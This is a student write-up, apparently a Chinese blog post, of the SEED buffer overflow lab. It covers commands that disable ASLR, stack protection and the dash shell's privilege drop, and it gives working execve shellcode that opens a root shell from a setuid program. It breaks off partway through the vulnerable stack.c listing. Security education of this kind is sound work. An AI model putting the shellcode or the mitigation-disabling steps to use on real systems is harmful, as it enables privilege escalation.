信息安全 SEED Lab3 Buffer Overflow Vulnerability Lab

首先在实验的最开始我们把对抗缓冲区溢出攻击的措施关闭,后面再逐一打开。关闭地址随机化的代码如下

sudo sysctl -w kernel.randomize_va_space=0

运行如下:

并且在编译代码时 加上下列参数告诉编译器,前者为禁用栈保护, 后者为可执行栈上代码

-fno-stack-protector -z execstack

再使用下列命令修改默认shell为zsh,zsh不会在effective uid 和 real uid不一致的时候将effective uid改成 real uid

 sudo ln -sf /bin/zsh /bin/sh

运行如下:

 

1. Task 1

1.1 step 1

示例代码如下:

/* call_shellcode.c: You can get it from the lab’s website */
/* A program that launches a shell using shellcode */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
const char code[] =
    "\x31\xc0" /* Line 1: xorl %eax,%eax */
    "\x50" /* Line 2: pushl %eax */
    "\x68""//sh" /* Line 3: pushl $0x68732f2f */
    "\x68""/bin" /* Line 4: pushl $0x6e69622f */
    "\x89\xe3" /* Line 5: movl %esp,%ebx */
    "\x50" /* Line 6: pushl %eax */
    "\x53" /* Line 7: pushl %ebx */
    "\x89\xe1" /* Line 8: movl %esp,%ecx */
    "\x99" /* Line 9: cdq */
    "\xb0\x0b" /* Line 10: movb $0x0b,%al */
    "\xcd\x80" /* Line 11: int $0x80 */
;

int main(int argc, char **argv)
{
    char buf[sizeof(code)];
    strcpy(buf, code);
    ((void(*)( ))buf)( );
}

编译并修改为root set-uid程序,运行可以发现成功获取root shell

 

1.2 step 2

实例代码如下:

/* Vunlerable program: stack.c */
/* You can get this program from the lab’s website */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack.
* Instructors can change this value each year, so students
* won’t b
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值